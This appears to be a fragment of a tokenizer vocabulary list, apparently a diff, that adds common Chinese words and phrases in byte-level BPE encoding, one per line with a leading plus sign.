+åŀ¦ +éĤ£åıª +é¢ĨæĤŁ +çľ¼éĥ¨ +æ³°å®ī +ä»»æľŁ +磨æįŁ +æĽ¿æį¢ +åħ¸ç¤¼ +符åIJĪæĿ¡ä»¶ +è¿ĺæľīä»Ģä¹Ī +åħ±äº«åįķ车 +åı¯åĪĨ为 +åŃ£åIJİ +åŃ£åIJİèµĽ +举èİŀå¸Ĥ +å¿ĥæĦı +æīŃæĽ² +ä½ľä¸ºä¸Ģç§į +è¿Ļéĥ¨åĪĨ +åıĤä¸İåΰ +ç½ijçIJĥ +實çı¾ +ç»Ħè£ħ +åIJijå¤ĸ +å·¥ä½ľæĸ¹æ¡Ī +åįģæĿ¡ +課ç¨ĭ +颤æĬĸ +åĵ© +éĤ®å¯Ħ +亢 +åħįè²» +秤 +åºĶæĢ¥ç®¡çIJĨ +åĽĽäºĶ +éºĴéºŁ +å¾ĴæŃ¥ +è¨ĺå¾Ĺ +çĴIJ +æĺ¯åIJ¦ä¼ļ +æĦıè§ģåıįé¦Ī +éļ¾æĢª +çªį +交æİ¥ +两åįĥ +æĩīç͍ +æľŁéĸĵ +æIJ¬åΰ +è®®é¢ĺ +碧æ¡Ĥ +碧æ¡ĤåĽŃ +åģļçĶŁæĦı +éĻĽä¸ĭ +è·ĭ +èĢģ人家 +带åĽŀ +æŀ¸æĿŀ +è¡Įéķ¿ +åĨħ容ç®Ģä»ĭ +梢 +æĮĩæİ§ +éĩįçĹĩ +ç½ijåıĭ们 +çı¾ä»£ +类产åĵģ +å¥Ķæ³¢ +渺 +ç²īç¢İ +è¿Ļåıªæĺ¯ +æ£Ģå¯Łæľºåħ³ +é½Ĭ +æĪ¿ç§Ł +å¾·æĭī +å²ģ以ä¸Ĭ +纯åĩĢ +åĪĨå¸ĥåľ¨ +èĥ½å¾Ĺåΰ +ä¸įå°½ +ç«ŀä»· +çļĦ带é¢Ĩ +çļĦ带é¢Ĩä¸ĭ +ä¸Ńè᝿ĿIJ +æĿijéķĩ +ä¸įåı¯éģ¿åħį +éľ²å¤© +å°ıå§ijå¨ĺ +çī©ä»¶ +èijĹä½ľæĿĥ +æĭĺçķĻ +éĥ½è§īå¾Ĺ +æĽ²æĬĺ +æ·»åĬłåīĤ +åı¬åĽŀ +æīİå®ŀæİ¨è¿Ľ +æĬĦè¢Ń +åĮĸ身 +缴èIJ¥ +ä¹Łå¸ĮæľĽ +èį£èªīç§°åı· +åįĸç»Ļ +æľīä¸įåIJĮçļĦ +å¥ĩçī¹ +éĥ½è®¤ä¸º +å¦ŀ +æĪIJéķ¿ä¸º +辩æĬ¤ +主æķĻç»ĥ +æ³ķå¸ĪèģĮä¸ļ +æ¤įåħ¥ +索尼 +åIJ¬è¿ĩ +ä¹łæĥ¯äºĨ +夺åıĸ +éŁĵ +æľ¬è´¨ä¸Ĭ +æİ¥åĬĽ +äºij端 +è¦ģåģļ好 +è·¯çģ¯ +åįıåIJĮåıijå±ķ +æľīå¾ħ +æ°´åŁŁ +æIJľçĭIJé¦ĸ页 +è´¨éĩıå®īåħ¨ +åįģäºĮäºĶ +åĵ®åĸĺ +èĵ¬åĭĥåıijå±ķ +åIJį声 +身亡 +çİĭåºľ +åİŁåĪĻä¸Ĭ +çĥĺå¹² +éģĹæ¼ı +éĿ¢çĽ® +åĽ½ä¼ļ +ä¸Ģ缴éĥ½æĺ¯ +æľīä¸Ģä½į +éħįæľī +éĻªçĿĢ +ä¼ģåĽ¾ +æĮīä¸ĭ +èĵĿåĽ¾ +æ©ĺ +大å¤ļæĺ¯ +辩论 +æĹĭå¾ĭ +æĬ¥éĢģ +æĿ¡è§Ħå®ļ +åĬ¨éĿĻ +åĮĪ奴 +æĭľè®¿ +ä¸ĢåĪĢ +ä»ĸçŁ¥éģĵ +主æĿĥ +ä»ĸæĽ¾ +æĴŃç§į +å£ģåŀĴ +çī¢è®°ä½¿åij½ +åľ¨è¿Ļæĸ¹éĿ¢ +æīĭèħķ +æĶ¯æŀ¶ +ä¾Ĩèĩª +éĩįå¡ij +å¤ļå±Ĥ次 +ä»ĭè´¨ +éĿ¢åŃĶ +潮湿 +åİ¿åŁŁ +游æĪıå½ĵä¸Ń +å£ŀ +åĪĹåĩº +èµĽåĮº +å¤ļåįĬ +éĩįçĤ¹å·¥ä½ľ +æĪij们å¿ħé¡» +æŁıæŀĹ +é²ģèĥ½ +æĸ½å±ķ +åIJĦåĮº +åħįç¨İ +èµĽåIJİ +æľĢéĩįè¦ģ +ä¸Ģ个好çļĦ +è¿Ŀæ³ķè¿Ŀè§Ħ +äºĨè§£æĽ´å¤ļ +æķ¬è¯· +ç¬ijçĿĢ说 +ä¸įæĸŃåıijå±ķ +æijĦå½±å¸Ī +以éĺ² +çĤ¸å¼¹ +声åĵį +ç¤ģ +æĩ¿ +èĪĨæĥħ +èĩªçĶ±è´¸æĺĵ +æķıæį· +ä¸ī大éĺ¶æ®µ +èĭĶ +æĹºåŃ£ +ä¸į满æĦı +微信åı· +修为 +çł´è£Ĥ +éĢĥ离 +æ¯ıèĤ¡ +è¾¾ä¸įåΰ +æ¯ıå¹´éĥ½ +çģ¯ç¬¼ +æŃ¤åŁºç¡Ģä¸Ĭ +åĥı个 +åĪĨ娩 +æĻ¾ +ä¸įèĩ³äºİ +红线 +误解 +ä¸ľè·¯ +æ·®å®ī +产åѦ +产åѦçłĶ +è»ĭ +è»ĭçĹħ +åīįæıIJæĺ¯ +æ¯ıä¸Ģ天 +ä¸ĥ大 +æłijåı¶ +èµ°å¾Ĺ +è¿Ļ两ç§į +æİıåĩº +æİIJ +é¢Ĩ导èĢħ +ä¸Ģæľµ +个å¤ļæľĪ +ä¸Ńåħ³ +ä¸Ńåħ³æĿij +课åłĤæķĻåѦ +大åĴĸ +éģĭç͍ +è¯ļæĦı +ç»ĦåĽ¾ +è¯ķçĿĢ +ä¹Ķæ²» +è¿ĺä¸įæĺ¯ +æľīæĽ´å¥½çļĦ +åIJİå¤ĩ +æĸ°çĶŁåĦ¿ +æ°Ķè¡Ģ +æ²¥éĿĴ +å±ıéļľ +æ¥ŃåĭĻ +æĪij以为 +éķ¿çĽ¸ +èĢģçΏ +éķĩæ±Ł +æľºæ¢°è®¾å¤ĩ +ä½Ĩæĺ¯å¦Ĥæŀľ +åĿļå®ļä¸į +åĿļå®ļä¸įç§» +åĨ²éĶĭ +ç®Ģ缴æĺ¯ +åĤ¨èĵĦ +纯ç͵åĬ¨ +漫æŃ¥ +举起 +æģ¶æĢ§ +è¨ĺéĮĦ +èģĮèĥ½éĥ¨éŨ +åħ¨éķ¿ +鼻è¦ĸ +ä¹³èħº +ä½ķå¤Ħ +æ¶Īæŀģ +æŃ£å¤Ħäºİ +å®īå®ģ +æĪIJéķ· +åıĻè¿° +æºĥçĸ¡ +ä½Ĩçİ°åľ¨ +女æĺŁ +å©´å¹¼åĦ¿ +æĬķèŀįèµĦ +éĹ®éĹ® +æıŃå¼Ģ +è¯ı +åIJįå½ķ +èĺijèıĩ +åIJĬé¡¶ +æ¹ĸåĮº +åįĸåľº +å»ºç¯ +建ç¯ī +èݽ +åIJ¬åIJ¬ +ç«ŀäºīä¼ĺåĬ¿ +åĩºä»» +æľī两ç§į +æ©±æŁľ +褪 +è¯ķåį· +ç»ıæµİæĬĢæľ¯ +æ·±å±Ĥ +éĩįè¦ģåĨħ容 +é£İæİ§ +çĬ¶æĢģä¸ĭ +éĥ¨éĸĢ +广汽 +è§Ĥæij© +éģĹçķĻ +转账 +æĮģä»ĵ +æĢ»è®¡ +åľĺéļĬ +æĪ¿ä¸ľ +éĺĢéŨ +åħ¬åħ³ +åħ³åĪĩ +èĤĺ +æķ¸æĵļ +ä¸īåįģå¹´ +è§ģè¯ģäºĨ +å±Ĩ +çģ°å°ĺ +æ¦ľé¦ĸ +è¦ĨçĽĸçİĩ +ä»Ļ女 +çĶŁäº§æĢ» +çĶŁäº§æĢ»å̼ +æĪ¿è´· +æ±ŁåĮº +åħħçĶµæ¡© +çϾåIJĪ +確èªį +转移åΰ +éĥ½æĹłæ³ķ +纪念é¦Ĩ +çŃ¾ç½²äºĨ +å¹¶ä¸įå¤ļ +æĮł +ä¸į太好 +ä¸ĸ代 +误导 +é«ĺ峰论åĿĽ +åħ¼å®¹ +龸æ°Ķ +æĿ¥è®¿ +æīĢ带æĿ¥çļĦ +æĺ¯ä¸Ģéĥ¨ +æĻļé¥Ń +åİĨ代 +åIJ¦åīĩ +ä¹ħä¹ħ +æľīæķĪæľŁ +诱åıij +æĢ»èµĦ产 +æľ¬èº«å°±æĺ¯ +çĶŁäº§åİĤå®¶ +æĹ¶é«¦ +èĢIJç͍ +ä»İå°ıå°± +æĿ¡çº¦ +èĭ±åĭĩ +ä¿Ĺè¯Ŀ说 +寺åºĻ +å¿ĥçIJĨåģ¥åº· +ä»Ģä¹Īäºĭæĥħ +æ±īåŃĹ +çķĻä½ı +åįĹè·¯ +ä¸ī项 +丢äºĨ +æĥ³åΰäºĨ +çѹéĽĨ +éĻĦåĬłå̼ +西è£ħ +ä¹ĭä½ľ +åģļçļĦäºĭ +çķ¶æĤ¨ +çķ¶æĤ¨åľ¨ +é¦ĸ款 +ä¸įåľ¨ä¹İ +å·¥ç¨ĭæĸ½å·¥ +éļIJéļIJ +åıĺ身 +沿éĢĶ +æĤłæĤł +ä¿Ŀæļĸ +çĶŁæ´»åŀĥåľ¾ +渤海 +æŃ¦ä¾ł +女主è§Ĵ +举ä¾ĭ +æ·¨ +çϽé¢Ĩ +è£ĻåŃIJ +è¿Ķè¿ĺ +è¿Īåĩº +é¾ĻéŨ +ç»ıæµİä½ĵ +æĶ¶å®ĺ +çķĮéĻIJ +è·³åĩº +åįĩå̼ +绵éĺ³ +çĸ¤çĹķ +çľĭæ¸ħ +æĭĴçµķ +è¥Ħéĺ³ +课å¤ĸ +åŃIJåŃĻ +æŃĮè¯į +æĪIJåIJį +溶液 +åĦĴå®¶ +åķĨä¸ļåĮĸ +辨åĪ« +å¤ļè¾¾ +ç½ijåºĹ +ä¹Ŀ大 +ä¹Ŀ大精ç¥ŀ +æŃ¤ä¸¾ +è¿ŀè½½ +ä¸ĢåĢĭ人 +è³½ +æ¶µçĽĸäºĨ +è¦ıåĬĥ +åĽ½æĥħ +åį«çĶŁåģ¥åº· +积æŀģåĵįåºĶ +æĭĻ +åζåĬ¨ +æĥ³è±¡åĬĽ +çļĦä¹IJè¶£ +å¼łå®¶çķĮ +å´İ +éĩįåŀĭ +å¤ĸå¢Ļ +æĶ¾åѦ +è®¤çľŁåŃ¦ä¹ł +è´¬å̼ +æ³ķæ¡Ī +æĬ¤èĤ¤åĵģ +éĻ·åħ¥äºĨ +请æĤ¨ +åŀ¢ +æķĻèĤ²èµĦæºIJ +交æĺĵå¹³åı° +æĹ¶è£ħ +ä¼łæŁĵçĹħ +æ¹ĸæ³Ĭ +èµĦ管 +åݨå¸Ī +éĹľéį +éĹľéįµ +åĵĪåĵĪåĵĪ +çĽĹçªĥ +çĶľç¾İ +åºĦåĽŃ +缮åīįå·²ç»ı +è¾¹ä¸Ĭ +çģ«èĬ± +æĬ¥è®°èĢħ +æģĭæĥħ +ç´§åĩij +æ°´æµģ +è¿Ļæĺ¯æĪij们 +æ³¥åľŁ +æĽ¾ä»» +æĸ¹è¨Ģ +åij¨åħŃ +åı·æ¥¼ +ä¼ijåģĩ +误ä¼ļ +åĽ½åĢº +åīįå¤ķ +ä¸¤å¼ł +éĹ« +éŃĶ鬼 +æĬĬæĮģ +èĬĤèĥ½çݯä¿Ŀ +æ¸ħæ´ģèĥ½æºIJ +èĤ¥æĸĻ +é«ĺé¢ij +å°±æľīäºĨ +交ä¼ļ +没éĴ± +éĽħæĢĿ +è¦ģåıĬæĹ¶ +åŁ¹åħ»åѦçĶŁ +欣åĸľ +çĥŃæ°´åύ +é¾Ļæ¹ĸ +äºĮ楼 +æĸ°æµªè´¢ç»ı +æĸ°åĬ¨èĥ½ +èµ£å·ŀ +æĭ³å¤´ +æµģåIJij +ä¹Łæĺ¯å¾Ī +åıijåĶ® +ä¸ŃåIJ«æľī +åIJĵå¾Ĺ +å·¨æĺŁ +æĹłæīĢè°ĵ +æ¯ĽåŃĶ +åħ¬åħ±äº¤éĢļ +çĤİçĥŃ +èµ·èįī +åĬłçĽŁåķĨ +说ä¸įåĩº +大åѦæ¯ķä¸ļ +å·¥ä¸ļåĽŃ +éłĺåŁŁ +åºĨåħ¸ +æµģ产 +èģ²éٳ +ä¼¼ä¹İæĺ¯ +è´§æºIJ +æ·±åĪĩ +æ²»çĸĹæĸ¹æ³ķ +èµĦæºIJéħįç½® +ç¶²åıĭ +çĶ£ +亥 +èº²åľ¨ +社ç§ij +è»Łé«Ķ +女è£ħ +æŃ¡è¿İ +综åIJĪå®ŀåĬĽ +æł¼å°ĩ +åħļåı²åŃ¦ä¹ł +æľĢåŁºæľ¬ +æľĢåŁºæľ¬çļĦ +çľĭæľĽ +åıĹè´¿ +ä¸įä»ħèĥ½ +ä½ķå¿ħ +ä¸Ģ个å°ıæĹ¶ +ç¾Į +æĭĽæĶ¶ +çĤĴèĤ¡ +æĿijå¹²éĥ¨ +缸çα +æ½ľèĥ½ +ä¹į +æĹ¶è¾° +欣æħ° +éĵ¶è¡Įä¸ļ +çĭŃçªĦ +éĩįçĤ¹é¢ĨåŁŁ +çݰå®ŀçĶŁæ´» +éĮ¯èª¤ +æĸ°è§Ħ +滥ç͍ +æĹ¶ä¸į +æĹ¶ä¸įæĹ¶ +帳èĻŁ +ç¨Ģ缺 +åIJij举 +ä¿Ŀåģ¥åĵģ +çıŃéķ¿ +äºĴåĭķ +笼罩 +æ½Ľ +æļĸå¿ĥ +è½°çĤ¸ +åºĨ幸 +è²Įä¼¼ +æĵº +èĢIJ磨 +ä¸ĵä¸ļ人士 +ä¸Ģèάéĥ½æĺ¯ +æ¼³å·ŀ +åħ¨èĩªåĬ¨ +å½ķç͍ +大è·Į +æľīæķο̧ +èĩªåĭķ +ä¸ī个æĸ¹éĿ¢ +港åĮº +信貸 +éĢļè¯Ŀ +é«ĺ涨 +æ³Ħæ¼ı +éħįä¸Ĭ +åħļå·¥å§Ķ +被认为 +被认为æĺ¯ +ä¸įä¼ļåĨį +è°ĥåīĤ +åıĤèĤ¡ +èĦ±åıij +å¿łå®ŀ +åĨħåĪĨæ³Į +ç¹ģå¿Ļ +åıĮåĪĽ +é©»æĿij +åĪĴç®Ĺ +éģİä¾Ĩ +åľ£ç»ı +èıľé¸Ł +æĭ¼å¤ļå¤ļ +ä¸ŃåĽ½æ±½è½¦ +çĥŁèįī +缴æµģ +äºĨä¸Ģåı£æ°Ķ +ä½İæĪIJæľ¬ +æī¾åĽŀ +èĩªåįij +總æĺ¯ +æĸĩåĮĸåĪĽæĦı +天河 +樱æ¡ĥ +éªijåħµ +éĩĮéĿ¢æľī +çİ® +èĥ½æī¾åΰ +éĢĥè·ij +åĪĩå°Ķ +åĪĩå°Ķ西 +以ä¸ĭæĺ¯ +å²³éĺ³ +çļĦæ¦Ĥçİĩ +æĬµåζ +å¸ĪäºĭåĬ¡ +å¸ĪäºĭåĬ¡æīĢ +åĩĨæĹ¶ +屬æĸ¼ +订è´Ń +åįłæį®äºĨ +ä¸ŃéĢĶ +å°ĭ +é»ij马 +åİ¿åħ¬å®īå±Ģ +ä¸ĥæľĪ +èī²ç´ł +å¿ĥèĦıçĹħ +æĹ¶éĻIJ +æ¯įåħ¬åı¸ +å¹ķåIJİ +ä¸Ĭæ¦ľ +å̾åIJijäºİ +纸ä¸Ĭ +æ¡ĵ +éĽĨä½ĵç»ıæµİ +æĥħå¢ĥ +è¦ģåģļåΰ +ç©į極 +åıªæĢķ +æ¹ĺ西 +çļ±çº¹ +åħ¨åľĭ +çĦ¡è«ĸ +好æĦŁ +åįķä»· +è¿Ľç¨ĭä¸Ń +æĺĨä»ij +åĪĽå®¢ +åħħæĸ¥ +åħĪæĬĬ +该æĢİä¹ĪåĬŀ +åĵģå¾· +åħ¨éĿ¢åıijå±ķ +è¨ĪåĬĥ +æĢ»å·¥ä¼ļ +ä½Ľå±±å¸Ĥ +æĬĹè¡¡ +å¼Ģåľº +éĴ±å¸ģ +åıĭ们 +å«īå¦Ĵ +ç´¢èµĶ +è®ĬåĮĸ +æĮ¤åİĭ +æĮijè¡ħ +çŃīä¸Ģæī¹ +æĿ¨æ¬¢ +ä¸ĵå®¶åѦèĢħ +èĥ½è¾¾åΰ +èµ°è¿ij +è´«åĽ°åľ°åĮº +éĻIJæľŁ +ä¸į平衡 +åĽ½åĨħå¸Ĥåľº +èµĽåľº +éħįèµĦ +è¦ģèĢĥèĻij +ä¸ĩåı° +æľĪæľ« +éĶ¥ +åŃ« +æİ¥è§¦åΰ +åĩºäº§ +æķĻåѸ +ä½ľå¼Ĭ +çļĦæľĢåIJİä¸Ģ +ä¿ĥæĪIJ +åIJ¸åıĸ +æ½ľèīĩ +被éªĹ +è¾ĵäºĨ +çĭIJçĭ¸ +åįĩéĻį +è¿ĻäºĽä¸ľè¥¿ +æĬķèµĦåŁºéĩij +çĶŁçī©åѦ +ç½ij绾èIJ¥éĶĢ +åIJijè®°èĢħ +èįīåľ° +æĢ¯ +æľįåĬ¡èĥ½åĬĽ +éĥģéĹ· +åįķåĵģ +å¾Ĺ罪 +æĺĵäºİ +个å¤ļå°ıæĹ¶ +éĩįä»» +ä¸Ĭå®ĺ +æľ¬éĩij +çı¾åł´ +溢价 +æĺŁè¾° +æ´»åĬ¨çİ°åľº +丹麦 +å¸Ŀçİĭ +æŁ¥æĺİ +åŃĺåľ¨äºİ +é¦Ļæ°´ +æĬ½æ£Ģ +å®ŀéĻħä¸Ĭæĺ¯ +æĸ°å¾ģç¨ĭ +è´¢åĬ¡ç®¡çIJĨ +æİĽ +åĨľåİĨ +éĥ½èĥ½å¤Ł +éĤ¯éĥ¸ +çľŁå¯¦ +ç»Ĭ +åĨµä¸Ķ +置身 +ç¥Ī祷 +çĿģå¼Ģ +æĮĩçĤ¹ +å¼Ģæľº +西å®ģ +åĮĹ约 +积水 +åĩºåĬ¨ +åıijå±ķ模å¼ı +转æĬĺ +èĢĥçĤ¹ +æľīç½ijåıĭ +è´«åĽ°æĿij +æĪijä»¬çŁ¥éģĵ +åĪĨéĶĢ +å±±èĦī +æ¯ĶæĭŁ +ä¼°ç®Ĺ +æĶ¹å»º +壮è§Ĥ +ç§īæĮģ +æıª +ç¦Ģ +åĮĸåѦåĵģ +ä¸ŃåĽ½åζéĢł +ä¸Ģæŀ¶ +æīįè¡Į +æĭĽå¾ħ +åıĺæį¢ +åīį线 +幸好 +è¿Ļæł·çļĦè¯Ŀ +å¿ĥè¡Ģ管 +æĢ§çĸ¾çĹħ +åħ¨èĥ½ +åĪij侦 +ä¿¡æģ¯åıijå¸ĥ +æĺ¾çĦ¶æĺ¯ +éĿĴéĵľ +åIJĥä»Ģä¹Ī +ç͵价 +æ³ķå¾ĭè§Ħå®ļ +çħ² +çĵ·åύ +èĤīç±» +æıĴåħ¥ +åĹľ +è¿Łè¿Ł +ä¸ĢçĤ¹éĥ½ä¸į +è¿ĺåĮħæĭ¬ +èĪįä¸įå¾Ĺ +æłĩå¿ĹæĢ§ +æľĪ以æĿ¥ +ç³ĸæŀľ +éĥ½åºĶ该 +çݯå¢ĥåį«çĶŁ +èĪªè¡Į +éĥijéĩį +ç½ijæĬķ +åįģä½³ +ç§ģä¸ĭ +æļ´è·Į +åĬłå¿«åıijå±ķ +产åĵģçłĶåıij +åĪĽéĢłåĩº +æĢ»è§īå¾Ĺ +åºķçĽĺ +èķĬ +åĩºå¸Ńä¼ļè®® +主æĿ¿ +æĹ¥æĻļéĹ´ +å®ĺæĸ¹å¾®åįļ +å¼ķç͍æĹ¥æľŁ +åķĻæİĪ +ç͵åŃIJ产åĵģ +è¡°éĢĢ +çķĻåŃĺ +çģ«åĬĽ +çĴ§ +çļĤ +åħ¼åħ· +éĩįè¿Ķ +é¢Ĩçķ¥ +åĪĩéϤ +åĨįçĶŁèĥ½æºIJ +å®ŀåľ¨å¤ª +çIJĨ论ä¸Ĭ +ä¸īå±Ĥ +ä¸ĸçķĮåIJĦåĽ½ +å®ľæĺĮ +èĢ³è¾¹ +宽æķŀ +æ±īæĹı +çϽçϽ +è¿ĻéĩĮéĿ¢ +çĶŁæ´»ä¹łæĥ¯ +èµŀèµı +çͷ士 +ä¸Ńä¿Ħ +车祸 +åīĤéĩı +éϤåİ» +左边 +çŃijçī¢ +çīĽå¸Ĥ +å®¶åĬ¡ +åķĥ +ç½®æį¢ +ç´«å¤ĸ +ç´«å¤ĸ线 +å¾Ģåīį +åĬĽåѦ +ç´§è·Ł +缮çļĦåľ¨äºİ +ç»® +ç¥Ĥ +宣è¨Ģ +äºĮæ°§åĮĸ +äºĮæ°§åĮĸ碳 +æĹłç¼ĺ +ç²¾éĢļ +診 +å¼ķåıijäºĨ +æľĢåħĪ +派驻 +ä¸įå¿į +æĪijçΏ +å¹´ä¸ĭåįĬå¹´ +æ·ĭå·´ +没éĹ®é¢ĺ +åºĹåĨħ +è·ŁæĪij说 +çĶŁäº§çĶŁæ´» +è§ĤæľĽ +æ¸į +被æī§è¡Į +被æī§è¡Į人 +èĪľ +æİº +ä¸Ģç§Ĵ +èįīåĿª +åij¼åĴĮ +åij¼åĴĮ浩 +åij¼åĴĮ浩çī¹ +人æ°ijéĵ¶è¡Į +çĦķåıij +è¯ģåĪ¸äº¤æĺĵ +çķĶ +æľºèĥ½ +妾 +æĻļå¹´ +å·¥åķĨèģĶ +åİŁåŀĭ +è§Ĵ度çľĭ +æĬ¥ç¤¾ +è¯įæĿ¡ +躲éģ¿ +éĩįåIJ¯ +å¤ķéĺ³ +èĤ¡æĿĥ转让 +åľ¨ä¸Ģ +åľ¨ä¸ĢæĹģ +社ä¼ļåĮĸ +åıijå±ķåİĨç¨ĭ +æĭĸæ¬ł +使èĢħ +ä¸İåIJ¦ +æĸ°å±ĢéĿ¢ +ä»Ĭ天æĪij们 +é½IJèģļ +对æĪij说 +éĢĴ交 +æľªæĽ¾ +èİĬ +éĸī +亲æīĭ +è§ĴéĢIJ +æľīé»ŀ +ç¨İçİĩ +ä½İ声 +é»ĺå¥ij +æĻ®æ³ķ +大ä¸ĵ +第äºĮ大 +ä½ıåĿĢ +æĶ¾è¿Ľ +äºĮæĪĺ +亲身 +åĽºåĮĸ +ä¸ĭ乡 +åħ³éĶ®æĬĢæľ¯ +åĽŀæĥ³ +æĬ¥åĪĬ +æ¶ĤæĬ¹ +èĹıçĿĢ +ç¥ĿæĦ¿ +åįĩ温 +çĶļèĩ³è¿ŀ +åħ¬åħĥåīį +ç¾İæĸ¹ +è¯ļå®ŀ +æĹłåģ¿ +å¥Ń +å°ıå¿ĥ翼 +å°ıå¿ĥ翼翼 +两æīĭ +温馨æıIJ示 +ä»¿çľŁ +æĥ¶ +èĥ¡åŃIJ +å·¥ä½ľç«Ļ +硬çĽĺ +ç«¿ +åĤ³éĢģ +åħ¨æł¡ +é²ľæ´» +çĴĢçĴ¨ +ç»ĵå°¾ +æį¢æĿ¥ +æĪĢ +ä½İä½į +ä¸ĩåħĥ以ä¸Ĭ +åĬłåĪĨ +æİ¨ä»ĭä¼ļ +çIJĨèµĶ +å¾·å°Ķ +æĬĹè®® +æ´¼ +åĸ§ +åŁİéĻħ +å¾Īæ£Ĵ +人æŃ»äº¡ +ä¼ļå±ķä¸Ńå¿ĥ +äºĴèģĶäºĴéĢļ +èĸĦèĨľ +éĩįé»ŀ +ç¦ģæ¯Ĵ +åĨ·ç¬ij +大家åı¯ä»¥ +é¦ĸ缸 +è¿ijè·Ŀ离 +æµ®çݰ +ç§ĺè¯Ģ +èµ·é£ŀ +æIJ¶ +羣åģĩ +æģķ +å°ıåºĹ +æ°ijçľ¾ +åıijå¸ĥåħ¬åijĬ +ä¾§éĩį +å¾ĺå¾Ĭ +æĢĶ +æªIJ +æķ°çĽ® +åī¯ç§ĺ书éķ¿ +两åı¥ +éļIJçŀĴ +åıĮåıĮ +æīĭæĦŁ +èij¡äº¬ +éģĹå¿ĺ +鬥 +è¿Ļä¸ªåľ°æĸ¹ +说çļĦè¯Ŀ +å·¡åĽŀ +è¿Ŀ竳 +æī¾å·¥ä½ľ +æĶ¯çIJĥéĺŁ +裡éĿ¢ +æĺ¾ç¤ºåĩº +èĩ³å°Ĭ +两级 +åīįæ®µæĹ¶éĹ´ +çĺ¦èº« +èĤ¢ä½ĵ +æ¯į親 +æīĭç»Ńè´¹ +汽车è¡Įä¸ļ +æİ©çĽĸ +æİ§èĤ¡éĽĨåĽ¢ +åı£å¾Ħ +æĶ¿çŃĸæİªæĸ½ +海绵 +åħ¨éķĩ +äºĭåħ³ +å¸Ńæī§è¡Į +å¸Ńæī§è¡Įå®ĺ +éĤ£æ¬¡ +åı¯èĥ½åĩºçݰ +ä¸Ńå¿ĥåŁİå¸Ĥ +翻身 +ä¹Łç®Ĺ +ä¾µçķ¥ +åĸĩåıŃ +æ¯ı次éĥ½ +è§ħ +éĻ¢éĻ¢éķ¿ +å§ĭäºİ +èѦåĬ¡ +è᝿ĿIJ +å±łæĿĢ +æľ¬èº«å°± +éļıæĹ¶éļı +éļıæĹ¶éļıåľ° +åĶ®åįĸ +æĹłäººé©¾é©¶ +é¢ħ +åĵģ質 +åĺ²ç¬ij +è·ijåİ» +åħĭéĩĮæĸ¯ +çķ¸å½¢ +修饰 +磩éĺµ +éŁ³ä¹IJä¼ļ +æŁ³å·ŀ +齡 +ä¼ļè°Ī +æŃ£çīĪ +ä¹ŁåIJĮæł· +æļ§æĺ§ +è¡ĮæĶ¿éĥ¨éŨ +ä¹ĸä¹ĸ +èĤ¤èī² +æĹ¶ä»» +羣åĪĩ +æľĪä¸ĭ +æľĪä¸ĭæĹ¬ +举æĸ¹è´¢å¯Į +è£ħä¿®åħ¬åı¸ +éĢĢè¿ĺ +åĭĺå¯Ł +åĵ¥ä¼¦ +åĵ¥ä¼¦æ¯Ķäºļ +çĭ¬ä¸Ģ +çĭ¬ä¸ĢæĹł +çĭ¬ä¸ĢæĹłäºĮ +è°ĥåij³ +åİĭè¿« +åħ¨çIJĥæľĢ大 +åł¡éķ¿ +æĽ´ä½İ +åĪĨéĴŁåIJİ +åĽŀä¾Ĩ +åζåīĤ +åijĬè¯ī大家 +çĤ¹éĴŁ +åįģä¸īå±Ĭ +åij¨åĽĽ +è¿Ļæł·ä¸Ģ +è¿Ļæł·ä¸ĢæĿ¥ +èĭŁ +æľĽåİ» +æĪIJè¯Ń +å½ĵåį³ +ç¬ij声 +ä¹ĭåĬ¿ +åĪijäºĭæ¡Īä»¶ +æĮĤçĿĢ +ä½ķç§į +å°ı游æĪı +åĽ½å®¶æĪĺçķ¥ +åĨ·åĨ· +å®ľå®¾ +æIJºç¨ĭ +è¶ĭäºİ +åıįçľģ +常说 +ä¸ĩæĪ· +åĥµå°¸ +åįĥä¸ĩåĪ« +åıijçݰéĹ®é¢ĺ +åı¯çŁ¥ +éŨæĪ·ç½ijç«Ļ +åģ¥åº·äº§ä¸ļ +åı³è¾¹ +æµ·è¿IJ +è¿ijä¹İ +åĮ»æ²» +æĢ»ç®Ĺ +ä¸ĢåĪĨéĴŁ +æĭ§ +ä¹Łæľīä¸ĢäºĽ +ä¾Ľç͵åħ¬åı¸ +å»īä»· +帮ä»ĸ +æŃ¤æ¬¡æ´»åĬ¨ +åıªèĥ½è¯´ +èĬĭ +çīĩ段 +åŃĺåľ¨éĹ®é¢ĺ +ä½łä¼ļåıijçݰ +è½®å»ĵ +ç½ijéĢļ +æ»¨æ±Ł +æİĪä¿¡ +é»İæĺİ +ä¸įå±ŀäºİ +约åįł +éķ¿æ²Ļå¸Ĥ +èĥļèĥİ +åħĥä»¶ +éĻĨåĨĽ +購買 +æĮĩæľĽ +å®ŀä¹łçĶŁ +çī¹çĤ¹æĺ¯ +çıłæ±Ł +çľĭä¸įåĩº +ä¸įè§ģäºĨ +ç¼ī +éĺµèIJ¥ +åĶIJæľĿ +没å¿ħè¦ģ +åĽ½åľŁèµĦæºIJ +ç»ıæµİåѦ家 +åIJĪèĤ¥å¸Ĥ +çIJ¢ç£¨ +ç¡®åĪĩ +åŁİå¸Ĥåıijå±ķ +çŃ·åŃIJ +人æ°ijæľįåĬ¡ +满åĪĨ +è¿·ä¿¡ +ä½ľèĢħæľ¬äºº +æĸĩ竳æĿ¥æºIJ +ç«Ļç«ĭ +æŀĦæĪIJäºĨ +è¾Ľåĭ¤ +è¶ħ强 +éĶļ +åīįä¸īåŃ£åº¦ +å°±è§īå¾Ĺ +å´ĩé«ĺ +è¶Ĭä¾Ĩ +è¶Ĭä¾Ĩè¶Ĭ +å¸ĤåľºèIJ¥éĶĢ +综åIJĪç´łè´¨ +åŃļ +侮辱 +äºĮåŃĹ +å·¥ä½ľä»»åĬ¡ +åı²ä¸ĬæľĢ +æľĢä¼ĺ +åIJ©åĴIJ +表çϽ +èİ«åIJį +èİ«åIJįåħ¶ +èİ«åIJįåħ¶å¦Ļ +å¹£ +åIJĮå¿Ĺ们 +建设çĶ¨åľ° +åĦĢ +éħįåģ¶ +弩 +åͱçīĩ +æīĭèĦļ +åħ¼ä»» +åģľæĶ¾ +æŃ£å®Ĺ +æĸ°åĨľæĿij +åĤ¬çĶŁ +æīĢåŃ¦æł¡ +å¿µä½Ľ +åͤéĨĴ +åħ±åĪĽ +æĭīä¸ģ +èĥĮçĿĢ +çĶŁæĢģä¿ĿæĬ¤ +åı£å¤´ +æĸ¹åIJijçĽĺ +調æķ´ +æĭĽèģĺä¿¡æģ¯ +åħ¶ä»ĸåĽ½å®¶ +ç®Ģæĺĵ +åĮ¿åIJį +è¯Ħæµĭ 